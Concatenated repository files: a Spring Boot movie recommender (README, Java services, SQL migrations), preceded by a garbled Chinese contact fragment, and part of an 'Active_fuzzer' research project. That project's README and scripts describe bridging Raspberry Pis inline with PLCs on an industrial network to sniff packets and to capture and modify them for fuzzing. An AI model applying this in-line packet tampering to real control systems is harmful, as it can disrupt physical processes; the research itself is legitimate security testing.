LANPๆญๅปบ & ๆ€ง่ƒฝ่ฐƒไผ˜ - ๅๅ‘ไปฃ็† <br> ### ่”็ณปๆ–นๅผ - QQ ๏ผš2970131851 - email : yunxi177@gmail.com ```
yunxiaoli2017/movie-recommender
yunxiaoli2017/movie-recommender README.md ```# Movie Recommender A Spring Boot web app that generates movie recommendations from a user's submitted ratings running a user-based collaborative filtering recommendation engine. To see the app in action, go to [https://movie-recommender-demo.herokuapp.com/](https://movie-recommender-demo.herokuapp.com/) ### Dataset Original and processed movieLens dataset, as well as processing steps can be found at another repository [27M-movieLens-dataset-processing](https://github.com/yunxiaoli2017/27M-movieLens-dataset-processing). Main processings are: * Scrap poster urls from IMDB * Normalize ratings with decoupling normalization * Extract popular movies dataset and compact ratings dataset. ### Framework & Database * [Angular](https://angular.io/) (In brach angular) * [Spring Boot](https://spring.io/) * [PostgresQL](https://www.postgresql.org/) (served on [AWS](https://aws.amazon.com/rds/)) * [Flyway](https://flywaydb.org/) ### Algorithm * User-based collaborative filtering * Draw a number of movies for the user to rate. (Only draw from movies with > 5,000 ratings to increase the chance that the user has known some of them before) * Based on submitted ratings, find raters in database who have also rated the same movies and compute similarities with the user for all raters found. (To reduce time cost, compact ratings dataset can be used at this step) * Search for ratings of all raters found, and compute predicted scores on movies they rated. (To reduce time cost, 100 most similar raters are used) * Sort out movies with highest scores and recommend to the user. (Aside from top 10 from popular movies with > 5,000 ratings, top 10 from unpopular ones with < 5,000 ratings are also recommended to tackle 'long tail' problem, as to provide harder-to-find, unexpected discoveries) ### Other Tools * [Heroku](https://www.heroku.com/) * [Thymeleaf](https://www.thymeleaf.org/) * [Bootstrap](https://getbootstrap.com/) ## License #### [MIT](./LICENSE) ``` MovieService.java ```package yunxiao.movierecommender.service; import java.util.ArrayList; import java.util.List; import java.util.NoSuchElementException; import java.util.Optional; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Service; import yunxiao.movierecommender.dao.MovieDao; import yunxiao.movierecommender.model.Movie; @Service public class MovieService { private final MovieDao movieDao; @Autowired public MovieService(@Qualifier("postgres-movie") MovieDao movieDao) { this.movieDao = movieDao; } public Optional<Movie> getMovieById(int id) { return movieDao.getMovieById(id); } public List<Movie> getRandomMovies(int num) { return movieDao.getRandomMovies(num); } public List<Movie> getRandomPopularMovies(int num) { return movieDao.getRandomPopularMovies(num); } public List<Movie> getRecommendedMovies(List<Integer> movieIds) { List<Movie> movies = new ArrayList<>(); Movie movie = new Movie(); for (Integer id : movieIds) { try { movie = getMovieById(id).get(); } catch (NoSuchElementException e) { movie = null; } if (movie != null) { movies.add(movie); } } return movies; } } ``` RatingService.java ```package yunxiao.movierecommender.service; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.PriorityQueue; import java.util.Set; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Service; import yunxiao.movierecommender.dao.MovieDataAccessService; import yunxiao.movierecommender.dao.RatingDao; import yunxiao.movierecommender.model.Rater; import yunxiao.movierecommender.model.Rating; @Service public class RatingService { private final RatingDao ratingDao; static public int MAX_RECOMMENDATIONS = 10; static public int MAX_RECOMMENDING_RATERS = 100; static public final List<Double> POSSIBLE_RATINGS = Collections.unmodifiableList(Arrays.asList((double) 1, (double) 2, (double) 3, (double) 4, (double) 5)); @Autowired public RatingService(@Qualifier("postgres-rating") RatingDao ratingDao) { this.ratingDao = ratingDao; } public List<Rating> getRatingByRaterId(int raterId) { return ratingDao.getRatingByRaterId(raterId); } public List<Rating> getRatingByMovieId(int movieId) { return ratingDao.getRatingByMovieId(movieId); } public List<Integer> getRecommendedMovieIds(List<Rating> ratings) { Set<Integer> ratedMovieIds = getRatedMovieIds(ratings); Map<Integer, Double> similarities = ratingDao.getSimilarityMap(ratings); List<Rater> raters = getTopRaters(similarities); Map<Integer, Double> movieScores = getMovieScores(raters, ratedMovieIds); List<Map<Integer, Double>> dividedMovieScores = divideByPopularity(movieScores); Map<Integer, Double> popularMovieScores = dividedMovieScores.get(0); Map<Integer, Double> unpopularMovieScores = dividedMovieScores.get(1); int numMovie = Integer.min(MAX_RECOMMENDATIONS, unpopularMovieScores.size()); List<Integer> topUnpopularMovies = getTopMovieIds(unpopularMovieScores, numMovie); numMovie = Integer.min(2 * MAX_RECOMMENDATIONS - topUnpopularMovies.size(), popularMovieScores.size()); List<Integer> topPopularMovies = getTopMovieIds(popularMovieScores, numMovie); List<Integer> topMovies = weaveTwoLists(topPopularMovies, topUnpopularMovies); return topMovies; } private List<Integer> weaveTwoLists(List<Integer> topPopularMovies, List<Integer> topUnpopularMovies) { List<Integer> topMovies = new ArrayList<>(); for (int i = 0; i < Integer.max(topUnpopularMovies.size(), topPopularMovies.size()); i++) { if (i < topPopularMovies.size()) { topMovies.add(topPopularMovies.get(i)); } if (i < topUnpopularMovies.size()) { topMovies.add(topUnpopularMovies.get(i)); } } return topMovies; } private List<Map<Integer, Double>> divideByPopularity(Map<Integer, Double> movieScores) { List<Map<Integer, Double>> dividedMovieScores = new ArrayList<>(); Map<Integer, Double> popularMovieScores = new HashMap<>(); Map<Integer, Double> unpopularMovieScores = new HashMap<>(); for (Map.Entry<Integer, Double> entry : movieScores.entrySet()) { if (MovieDataAccessService.popularMovieIds.contains(entry.getKey())) { popularMovieScores.put(entry.getKey(), entry.getValue()); } else { unpopularMovieScores.put(entry.getKey(), entry.getValue()); } } dividedMovieScores.add(popularMovieScores); dividedMovieScores.add(unpopularMovieScores); return dividedMovieScores; } private List<Rater> getTopRaters(Map<Integer, Double> similarities) { int numRater = Integer.min(MAX_RECOMMENDING_RATERS, similarities.size()); Comparator<Entry<Integer, Double>> similarityComparator = new Comparator<Entry<Integer, Double>>() { @Override public int compare(Entry<Integer, Double> e0, Entry<Integer, Double> e1) { Double v0 = e0.getValue(); Double v1 = e1.getValue(); return v0.compareTo(v1); } }; PriorityQueue<Entry<Integer, Double>> topSimilarities = new PriorityQueue<Entry<Integer, Double>>(numRater, similarityComparator); for (Entry<Integer, Double> entry : similarities.entrySet()) { topSimilarities.offer(entry); if (topSimilarities.size() > numRater) { topSimilarities.poll(); } } List<Rater> topRaters = new ArrayList<Rater>(); while (topSimilarities.size() > 0) { Entry<Integer, Double> entry = topSimilarities.poll(); topRaters.add(new Rater(entry.getKey(), entry.getValue())); } return topRaters; } private Set<Integer> getRatedMovieIds(List<Rating> ratings) { Set<Integer> ids = new HashSet<>(); for (Rating r : ratings) { ids.add(r.getMovieId()); } return ids; } private List<Integer> getTopMovieIds(Map<Integer, Double> scores, int numMovie) { numMovie = Integer.min(numMovie, scores.size()); if (numMovie < 1) { return new ArrayList<Integer>(); } Comparator<Entry<Integer, Double>> scoreComparator = new Comparator<Entry<Integer, Double>>() { @Override public int compare(Entry<Integer, Double> e0, Entry<Integer, Double> e1) { Double v0 = e0.getValue(); Double v1 = e1.getValue(); return v0.compareTo(v1); } }; PriorityQueue<Entry<Integer, Double>> topScores = new PriorityQueue<Entry<Integer, Double>>(numMovie, scoreComparator); for (Entry<Integer, Double> entry : scores.entrySet()) { topScores.offer(entry); if (topScores.size() > numMovie) { topScores.poll(); } } List<Integer> topMovieIds = new ArrayList<Integer>(); while (topScores.size() > 0) { topMovieIds.add(topScores.poll().getKey()); } return topMovieIds; } private Map<Integer, Double> getMovieScores(List<Rater> raters, Set<Integer> ratedMovieIds) { Map<Integer, Double> scores = new HashMap<>(); for (Rater rater : raters) { List<Rating> ratings = getRatingsByRaterId(rater.getId()); for (Rating rating: ratings) { if (!ratedMovieIds.contains(rating.getMovieId())) { scores.put(rating.getMovieId(), scores.getOrDefault(rating.getMovieId(), (double) 0) + rating.getRating() * rater.getSimilarity()); } // if (scores.size() > 1000000) { // System.out.print("scores size exceeds 1,000,000"); // break; // } } } return scores; } private List<Rating> getRatingsByRaterId(int id) { return ratingDao.getRatingByRaterId(id); } // private List<Rater> getSimilarRaters(List<Rating> ratings) { // List<Integer> raterIds = getAllRaterIds(); // List<Rater> raters = new ArrayList<>(); // for (Integer id: raterIds) { // Double similarity = getSimilarityWithRatings(id, ratings); // if (similarity > 0.1) { // raters.add(new Rater(id, similarity)); // } // } // return raters; // } // private Double getSimilarityWithRatings(Integer raterId, List<Rating> ratings) { // List<Integer> movieIds = new ArrayList<>(); // for (Rating rating: ratings) { // movieIds.add(rating.getMovieId()); // } // List<Rating> raterRatings = ratingDao.getRatingByRaterIdAndMovieIds(raterId, movieIds); // if (raterRatings == null || raterRatings.isEmpty()) { // return (double) 0; // } // return getSimilarityBetweenRatings(raterRatings, ratings); // } // private Double getSimilarityBetweenRatings(List<Rating> raterRatings, List<Rating> ratings) { // Double similarity = (double) 0; // normalizeRatings(raterRatings); // subtractThreeFromRatings(ratings); // for (Rating r1 : ratings) { // int movieId = r1.getMovieId(); // for (Rating r2: raterRatings) { // if (r2.getMovieId() == movieId) { // similarity += r1.getRating() * r2.getRating(); // } // } // } // return similarity; // } // private void subtractThreeFromRatings(List<Rating> ratings) { // for (Rating r : ratings) { // r.setRating(r.getRating() - 3); // } // } // private void normalizeRatings(List<Rating> ratings) { // Double meanRating = (double) 0; // for (Rating r : ratings) { // meanRating += r.getRating() / ratings.size(); // } // for (Rating r : ratings) { // r.setRating(r.getRating() - meanRating); // } // } // private List<Integer> getAllRaterIds() { // return ratingDao.getAllRaterIds(); // } public List<Rating> filterZeroRating(List<Rating> ratings) { List<Rating> nonZeroRatings = new ArrayList<>(); for (Rating r : ratings) { if (r.getRating() > 0.1) { nonZeroRatings.add(r); } } return nonZeroRatings; } // public List<Rating> filterZeroAndThreeRating(List<Rating> ratings) { // List<Rating> filteredRatings = new ArrayList<>(); // for (Rating r : ratings) { // if (r.getRating() > 0.1 && (r.getRating() < 2.9 || r.getRating() > 3.1)) { // filteredRatings.add(r); // } // } // return filteredRatings; // } public void decouplingNormalization(List<Rating> ratings) { Map<Double, Double> percentageOfRatingLowerThan = new HashMap<>(); Map<Double, Double> percentageOfRatingEqualTo = new HashMap<>(); int numRatings = ratings.size(); for (Rating r : ratings) { percentageOfRatingEqualTo.put(r.getRating(), percentageOfRatingEqualTo.getOrDefault(r.getRating(), (double) 0) + (double) 1 / numRatings); } for (int i = 1; i < POSSIBLE_RATINGS.size(); i++) { Double currentR = POSSIBLE_RATINGS.get(i); Double prevR = POSSIBLE_RATINGS.get(i - 1); percentageOfRatingLowerThan.put(currentR, percentageOfRatingLowerThan.getOrDefault(prevR, (double) 0) + percentageOfRatingEqualTo.getOrDefault(prevR, (double) 0)); } for (Rating r : ratings) { double unnormalized = r.getRating(); r.setRating(percentageOfRatingLowerThan.getOrDefault(unnormalized, (double) 0) + percentageOfRatingEqualTo.getOrDefault(unnormalized, (double) 0) / 2 - 0.5); } } } ``` V1.2__ReCreateShortRatingData.sql ```DROP TABLE ratings; CREATE TABLE ratings ( rater_id INTEGER NOT NULL, movie_id INTEGER NOT NULL, rating NUMERIC(2, 1) NOT NULL, timestamp INTEGER NOT NULL, PRIMARY KEY (rater_id, movie_id) );``` Movie.java ```package yunxiao.movierecommender.model; public class Movie { private final int id; private int imdbId; private String title; private String genres; private String imdbUrl; private String posterUrl; public Movie() { this.id = -1; } public Movie(int id) { this.id = id; } public Movie(int id, int imdbId, String title, String genres, String imdbUrl, String posterUrl) { this.id = id; this.imdbId = imdbId; this.title = title; this.genres = genres; this.imdbUrl = imdbUrl; this.posterUrl = posterUrl; } public boolean isBlank() { return (this.id == -1); } public int getId() { return id; } public int getImdbId() { return imdbId; } public void setImdbId(int imdbId) { this.imdbId = imdbId; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getPosterUrl() { return posterUrl; } public void setPosterUrl(String posterUrl) { this.posterUrl = posterUrl; } public String getImdbUrl() { return imdbUrl; } public void setImdbUrl(String imdbUrl) { this.imdbUrl = imdbUrl; } public String getGenres() { return genres; } public void setGenres(String genres) { this.genres = genres; } } ``` Rater.java ```package yunxiao.movierecommender.model; public class Rater { private int id; private double similarity; public Rater() { } public Rater(int id, double similarity) { this.id = id; this.similarity = similarity; } public int getId() { return id; } public void setId(int id) { this.id = id; } public double getSimilarity() { return similarity; } public void setSimilarity(double similarity) { this.similarity = similarity; } } ``` V1.1__AddShortRatingData.sql ```CREATE TABLE ratings ( movie_id INTEGER NOT NULL, rater_id INTEGER NOT NULL, rating NUMERIC(2, 1) NOT NULL, timestamp INTEGER NOT NULL );``` RatingCreationDto.java ```package yunxiao.movierecommender.dto; import java.util.ArrayList; import java.util.List; import yunxiao.movierecommender.model.Rating; public class RatingCreationDto { private List<Rating> ratings; public RatingCreationDto() { this.ratings = new ArrayList<Rating>(); } public void addRating(Rating rating) { this.ratings.add(rating); } public void addEmptyRatings(int num) { for (int i = 0; i < num; i++) { addRating(new Rating()); } } public List<Rating> getRatings() { return ratings; } } ``` V1__ShortMovieData.sql ```CREATE TABLE movies ( movie_id INTEGER NOT NULL PRIMARY KEY, imdb_id INTEGER, title VARCHAR(200) NOT NULL, genres VARCHAR(100), imdb_url VARCHAR(50), poster_url VARCHAR(200) );``` Rating.java ```package yunxiao.movierecommender.model; public class Rating { private int raterId; private int movieId; private double rating; private int timestamp; public Rating() { } public Rating(int raterId, int movieId, double rating, int timestamp) { this.raterId = raterId; this.movieId = movieId; this.rating = rating; this.timestamp = timestamp; } public int getRaterId() { return raterId; } public void setRaterId(int raterId) { this.raterId = raterId; } public int getMovieId() { return movieId; } public void setMovieId(int movieId) { this.movieId = movieId; } public double getRating() { return rating; } public void setRating(double rating) { this.rating = rating; } public int getTimestamp() { return timestamp; } public void setTimestamp(int timestamp) { this.timestamp = timestamp; } } ``` V1.4__RecreateIndexForRatingsMovieId.sql ```DROP INDEX IF EXISTS idx_ratings_movie_id; CREATE INDEX idx_ratings_movie_id ON ratings(movie_id, rater_id, rating);``` MovieDataAccessService.java ```package yunxiao.movierecommender.dao; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Optional; import java.util.Random; import java.util.Set; import org.springframework.dao.EmptyResultDataAccessException; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.stereotype.Repository; import yunxiao.movierecommender.model.Movie; @Repository("postgres-movie") public class MovieDataAccessService implements MovieDao { private final JdbcTemplate jdbcTemplate; public static int size; public static int popularSize; public static Set<Integer> popularMovieIds; public MovieDataAccessService(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; String sql = "SELECT reltuples::BIGINT AS estimate FROM pg_class WHERE relname='movies';"; this.setSize(this.jdbcTemplate.queryForObject(sql, Integer.class)); sql = "SELECT movie_id FROM popular_movies;"; List<Integer> popularIds = new ArrayList<>(); try { popularIds = jdbcTemplate.query(sql, (resultSet, i) -> { int movieId = resultSet.getInt("movie_id"); return movieId; }); } catch (EmptyResultDataAccessException e) { popularIds = null; } this.setPopularSize(popularIds.size()); popularMovieIds = new HashSet<>(); for (Integer id : popularIds) { popularMovieIds.add(id); } } @Override public Optional<Movie> getMovieById(int id) { final String sql = "SELECT * FROM movies WHERE movie_id = ?"; Movie movie = new Movie(); try { movie = jdbcTemplate.queryForObject(sql, new Object[] {id}, (resultSet, i) -> { int movieId = resultSet.getInt("movie_id"); int imdbId = resultSet.getInt("imdb_id"); String title = resultSet.getString("title"); String genres = resultSet.getString("genres"); String imdbUrl = resultSet.getString("imdb_url"); String posterUrl = resultSet.getString("poster_url"); return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl); }); } catch (EmptyResultDataAccessException e) { movie = null; } return Optional.ofNullable(movie); } @Override public List<Movie> getRandomMovies(int num) { // getSize() returns estimated size to avoid slow counting; /2 for safety int bound = Integer.max(30, getSize() / 2); int[] randomRows = new Random().ints(2 * num, 0, bound) .distinct() .limit(num) .toArray(); final String sql = "SELECT * FROM movies LIMIT 1 OFFSET ?"; List<Movie> randomMovies = new ArrayList<>(); for (int row : randomRows) { Movie movie = new Movie(); try { movie = jdbcTemplate.queryForObject(sql, new Object[] {row}, (resultSet, i) -> { int movieId = resultSet.getInt("movie_id"); int imdbId = resultSet.getInt("imdb_id"); String title = resultSet.getString("title"); String genres = resultSet.getString("genres"); String imdbUrl = resultSet.getString("imdb_url"); String posterUrl = resultSet.getString("poster_url"); return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl); }); } catch (EmptyResultDataAccessException e) { movie = new Movie(); } if (!movie.isBlank()) { randomMovies.add(movie); } } return randomMovies; } public List<Movie> getRandomPopularMovies(int num) { // getSize() returns estimated size to avoid slow counting; /2 for safety int bound = Integer.max(30, getPopularSize()); int[] randomRows = new Random().ints(2 * num, 0, bound) .distinct() .limit(num) .toArray(); final String sql = "SELECT * FROM popular_movies LIMIT 1 OFFSET ?"; List<Movie> randomMovies = new ArrayList<>(); for (int row : randomRows) { Movie movie = new Movie(); try { movie = jdbcTemplate.queryForObject(sql, new Object[] {row}, (resultSet, i) -> { int movieId = resultSet.getInt("movie_id"); int imdbId = resultSet.getInt("imdb_id"); String title = resultSet.getString("title"); String genres = resultSet.getString("genres"); String imdbUrl = resultSet.getString("imdb_url"); String posterUrl = resultSet.getString("poster_url"); return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl); }); } catch (EmptyResultDataAccessException e) { movie = new Movie(); } if (!movie.isBlank()) { randomMovies.add(movie); } } return randomMovies; } public int getSize() { return size; } private void setSize(int size) { MovieDataAccessService.size = size; } public int getPopularSize() { return popularSize; } private void setPopularSize(int popularSize) { MovieDataAccessService.popularSize = popularSize; } } ``` V2.1__ReCreateRatingsTableAndPrimaryKey.sql ```DROP TABLE IF EXISTS ratings; CREATE TABLE ratings ( rater_id INTEGER NOT NULL, movie_id INTEGER NOT NULL, rating NUMERIC(2, 1) NOT NULL, timestamp INTEGER NOT NULL, PRIMARY KEY (rater_id, movie_id, rating) );``` RatingDao.java ```package yunxiao.movierecommender.dao; import java.util.List; import java.util.Map; import yunxiao.movierecommender.model.Rating; public interface RatingDao { List<Rating> getRatingByRaterId(int raterId); List<Rating> getRatingByMovieId(int movieId); List<Integer> getAllRaterIds(); List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds); Rating getRatingByRaterIdAndMovieId(Integer raterId, Integer movieId); Map<Integer, Double> getSimilarityMap(List<Rating> ratings); } ``` V1.3__CreateIndexForRatingsMovieId.sql ```CREATE INDEX idx_ratings_movie_id ON ratings(movie_id);``` MovieController.java ```package yunxiao.movierecommender.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import yunxiao.movierecommender.dto.RatingCreationDto; import yunxiao.movierecommender.model.Movie; import yunxiao.movierecommender.model.Rating; import yunxiao.movierecommender.service.MovieService; import yunxiao.movierecommender.service.RatingService; @Controller public class MovieController { private final MovieService movieService; private final RatingService ratingService; @Value("${use-angular-frontend}") private boolean useAngularFrontend; @Autowired public MovieController(MovieService movieService, RatingService ratingService) { this.movieService = movieService; this.ratingService = ratingService; } @GetMapping("/") public String landing() { return "landing"; } @GetMapping("/rate") public String rateRandomMovies(@RequestParam(defaultValue = "32") int numMovies, Model model) { List<Movie> randomMovies = movieService.getRandomPopularMovies(numMovies); RatingCreationDto ratingCreationDto = new RatingCreationDto(); ratingCreationDto.addEmptyRatings(randomMovies.size()); List<Rating> ratings = ratingCreationDto.getRatings(); for (int i = 0; i < randomMovies.size(); i++) { ratings.get(i).setMovieId(randomMovies.get(i).getId()); } model.addAttribute("form", ratingCreationDto); model.addAttribute("movies", randomMovies); return "rate"; } @PostMapping("/recommendation") public String getSubmittedRatings(@ModelAttribute RatingCreationDto form, Model model) { List<Rating> ratings = form.getRatings(); ratings = ratingService.filterZeroRating(ratings); ratingService.decouplingNormalization(ratings); if (ratings.size() < 1) { model.addAttribute("error", "At least one rating has to be submitted."); return "rate"; } List<Integer> recommendedMovieIds = ratingService.getRecommendedMovieIds(ratings); List<Movie> recommendedMovies = movieService.getRecommendedMovies(recommendedMovieIds); model.addAttribute("ratings", ratings); model.addAttribute("movies", recommendedMovies); return "recommendation"; } } ``` V2__AddCompactDataset.sql ```CREATE TABLE popular_movies ( movie_id INTEGER NOT NULL PRIMARY KEY, imdb_id INTEGER, title VARCHAR(200) NOT NULL, genres VARCHAR(100), imdb_url VARCHAR(50), poster_url VARCHAR(200) ); CREATE TABLE compact_ratings ( rater_id INTEGER NOT NULL, movie_id INTEGER NOT NULL, rating NUMERIC(2, 1) NOT NULL, timestamp INTEGER NOT NULL, PRIMARY KEY (rater_id, movie_id) ); CREATE INDEX idx_compact_ratings_movie_id ON compact_ratings(movie_id, rater_id, rating);``` MovieDao.java ```package yunxiao.movierecommender.dao; import java.util.List; import java.util.Optional; import yunxiao.movierecommender.model.Movie; public interface MovieDao { Optional<Movie> getMovieById(int id); List<Movie> getRandomMovies(int num); List<Movie> getRandomPopularMovies(int num); } ``` RatingDataAccessService.java ```package yunxiao.movierecommender.dao; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.springframework.dao.EmptyResultDataAccessException; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.stereotype.Repository; import yunxiao.movierecommender.model.Rater; import yunxiao.movierecommender.model.Rating; @Repository("postgres-rating") public class RatingDataAccessService implements RatingDao { private final JdbcTemplate jdbcTemplate; public RatingDataAccessService(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; } @Override public Map<Integer, Double> getSimilarityMap(List<Rating> ratings) { Map<Integer, Double> similarities = new HashMap<Integer, Double>(); final String sql = "SELECT rater_id, rating FROM compact_ratings WHERE movie_id = ?"; for (Rating r : ratings) { List<Rater> raters = new ArrayList<>(); int movieId = r.getMovieId(); try { raters = jdbcTemplate.query(sql, new Object[] {movieId}, (resultSet, i) -> { int raterId = resultSet.getInt("rater_id"); double rating = resultSet.getDouble("rating"); double similarity = rating * r.getRating(); return new Rater(raterId, similarity); }); } catch (EmptyResultDataAccessException e) { raters = null; } if (raters != null && !raters.isEmpty()) { for (Rater rater : raters) { similarities.put(rater.getId(), similarities.getOrDefault(rater.getId(), (double) 0) + rater.getSimilarity()); } } } return similarities; } @Override public List<Rating> getRatingByRaterId(int raterId) { final String sql = "SELECT movie_id, rating FROM compact_ratings WHERE rater_id = ?"; List<Rating> ratings = new ArrayList<>(); try { ratings = jdbcTemplate.query(sql, new Object[] {raterId}, (resultSet, i) -> { int movieId = resultSet.getInt("movie_id"); double rating = resultSet.getDouble("rating"); int timestamp = 0; return new Rating(raterId, movieId, rating, timestamp); }); } catch (EmptyResultDataAccessException e) { ratings = null; } return ratings; } @Override public List<Rating> getRatingByMovieId(int movieId) { final String sql = "SELECT * FROM ratings WHERE movie_id = ?"; List<Rating> ratings = new ArrayList<>(); try { ratings = jdbcTemplate.query(sql, new Object[] {movieId}, (resultSet, i) -> { int raterId = resultSet.getInt("rater_id"); double rating = resultSet.getDouble("rating"); int timestamp = resultSet.getInt("timestamp"); return new Rating(raterId, movieId, rating, timestamp); }); } catch (EmptyResultDataAccessException e) { ratings = null; } return ratings; } @Override public List<Integer> getAllRaterIds() { final String sql = "SELECT DISTINCT rater_id FROM ratings"; List<Integer> raterIds = new ArrayList<>(); try { raterIds = jdbcTemplate.query(sql, (resultSet, i) -> { int raterId = resultSet.getInt("rater_id"); return raterId; }); } catch (EmptyResultDataAccessException e) { raterIds = null; } return raterIds; } @Override public List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds) { List<Rating> ratings = new ArrayList<>(); for (Integer movieId : movieIds) { Rating rating = getRatingByRaterIdAndMovieId(raterId, movieId); if (rating != null) { ratings.add(rating); } } return ratings; } @Override public Rating getRatingByRaterIdAndMovieId(Integer raterId, Integer movieId) { final String sql = "SELECT * FROM ratings WHERE rater_id = ? AND movie_id = ?"; Rating rating = new Rating(); try { rating = jdbcTemplate.queryForObject(sql, new Object[] {raterId, movieId}, (resultSet, i) -> { double r = resultSet.getDouble("rating"); int timestamp = resultSet.getInt("timestamp"); return new Rating(raterId, movieId, r, timestamp); }); } catch (EmptyResultDataAccessException e) { rating = null; } return rating; } //@Override //public List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds) { // final String sql = "SELECT * FROM ratings WHERE rater_id = ? AND movie_id = ANY (string_to_array(?, ',')"; // StringBuilder idString = new StringBuilder(); // for (Integer movieId: movieIds) { // idString.append(movieId.toString()); // idString.append(","); // } // idString.deleteCharAt(idString.length() - 1); // List<Rating> ratings = new ArrayList<>(); // try { // ratings = jdbcTemplate.query(sql, // new Object[] {raterId, idString.toString()}, // new int[] {Types.INTEGER, Types.VARCHAR}, // (resultSet, i) -> { // int movieId = resultSet.getInt("movie_id"); // double rating = resultSet.getDouble("rating"); // int timestamp = resultSet.getInt("timestamp"); // return new Rating(raterId, movieId, rating, timestamp); // }); // } catch (EmptyResultDataAccessException e) { // ratings = null; // } // return ratings; //} } ```
yuqiChen94/Active_fuzzer
yuqiChen94/Active_fuzzer start_lvl0.sh ```modprobe br_netfilter echo 1 >/proc/sys/net/ipv4/ip_forward echo 1 >/proc/sys/net/bridge/bridge-nf-call-iptables sudo ifconfig br0 down sudo brctl delbr br0 sudo brctl addbr br0 sudo brctl addif br0 enp3s0 enx00e04c68015e sudo ifconfig enp3s0 up sudo ifconfig enx00e04c68015e up sudo ifconfig br0 up #change enx000ec6a76988, enx9cebe8aea755 interface accordingly to yours. ``` README.md ```# Requirement ## Hardware 1.Four raspberry Pis with a wireless network adapter and an ethernet adapter 2.One laptop with a Linux OS 3.USB Ethernet adaptors 4.Ethernet cable extenders ## Software python 2.7.16 matplotlib 2.2.4 (https://matplotlib.org/) netfilter 0.6.4 (https://www.netfilter.org/) numpy 1.16.2 (https://numpy.org/) pandas 0.24.1 (https://pandas.pydata.org/) pyzmq 18.0.1 (https://pyzmq.readthedocs.io/en/latest/) scapy 2.4.2 (https://scapy.net/) scikit-learn 0.20.3 (https://scikit-learn.org/) tcpdump 4.9.2 (https://www.tcpdump.org/manpages/tcpdump.1.html) # Setup 1. Physically connect the Raspberry Pis to all PLCs in level0. (USB Ethernet adaptors are used here since Raspberry Pis typically has only one ethernet port.) 2. Edit and run start_lvl0.sh to enable bridge-Netfilter to set up bridges for all Raspberry Pis. 3. Make sure all the Raspberry Pis and the laptop are put onto the same wireless subnet. # Code structure This project contains three modules: * Packet collection * Active learning * Attack implications # Usage ### Data collection 1. For each Raspberry Pi, copy the scripts from the fold 'raspberry_Pi' to the corresponding Raspberry Pis. 2. Edit the ipadress, port number and file names according to yours. 3. Run the script 'raspberry_Pi/tcpdump.sh' to sniff packets in level 0 for different PLC. (You should install the required software for your raspberry and check that bridge works.) 4. Collect corresponding sensor values from the dataset in the meantime. 5. Edit and run the script 'main/extract_bits.py' and 'main/extra_log.py' to generate the feature vectors and sensor values used for training. ### Active learning 1. Edit and run script 'main/train.py' to get a pre-training model using the data collected above. 2. For each Raspberry Pi, edit and run the corresponding 'stage_server.py' ,'stage_client.py' and 'stage_AL.py' from the fold 'raspberry_Pi'. (For the sensor value, you can also collect it from the database directly.) 3. In the meantime, edit and run 'main/zmq/main_client.py' , 'main/zmq/main_server.py' and 'main_predict.py' on the laptop. The 'client' and the 'server' scripts are used to pass all the packets captured by each pi to the laptop and send the new packets generated by our active fuzzing algorithm to each pi.The 'main_predict.py' is the implementation of our algorithm and the 'stage_AL.py' is specially designed to capture packets from the network and modify them.``` tcpdump.sh ```#!/bin/sh sudo tcpdump ip -i eth1 -w ./test.pcap #change eth1 interfaces according to yours.``` preprocess.py ```from __future__ import division from sklearn.ensemble import GradientBoostingRegressor from sklearn.svm import LinearSVR import numpy as np from sklearn.externals import joblib import matplotlib.pyplot as plt import random import math import time def train_linear(x, y): model_linear = LinearSVR(C=1, tol = 1e-5) model_linear.fit(x, y) return model_linear def train_gbdt(x, y): model_gbdt = GradientBoostingRegressor( loss='ls' , learning_rate=0.1 , n_estimators=100 , subsample=0.8 , min_samples_split=2 , min_samples_leaf=1 , max_depth=10 , init=None , random_state=None , max_features=None , alpha=0.9 , verbose=0 , max_leaf_nodes=None , warm_start=False ) model_gbdt.fit(x, y) return model_gbdt def bootstrap_con(X,y,block_size): shape=np.shape(X) num_item =shape[0] vector_size=shape[1] num_blocks = num_item //block_size if num_blocks * block_size < num_item: num_blocks += 1 new_X=np.zeros(shape=(num_blocks*block_size,vector_size)) new_y=np.zeros(shape=num_blocks*block_size) max_block_index = num_item - block_size for i in range(num_blocks): index=random.randint(0,max_block_index) # print index # print X[index:index+block_size] new_X[i*block_size:(i+1)*block_size]=X[index:index+block_size] new_y[i * block_size:(i + 1) * block_size] = y[index:index + block_size] return new_X,new_y # According to book "Advanced Data Analysis from an Elementary Point of View", the size of block should be n^(1/3) # block_size=int(np.shape(X)[0]**(1/3))+1 # According to paper, the standard number 0f bootstrap is 4 def bootstrap_linear_model(X,y,block_size,num): model_list=[] for i in range(num): new_X, new_y = bootstrap_con(X, y, block_size) model = train_linear(new_X,new_y) model.fit(new_X, new_y) model_list.append("model/bootstrap_linear_example"+str(i)+".pkl") joblib.dump(model,model_list[i]) return model_list def bootstrap_GBDT_model(X,y,block_size,num): model_list=[] for i in range(num): new_X, new_y = bootstrap_con(X, y, block_size) model = train_gbdt(new_X,new_y) model_list.append("model/bootstrap_GBDT_example"+str(i)+".pkl") 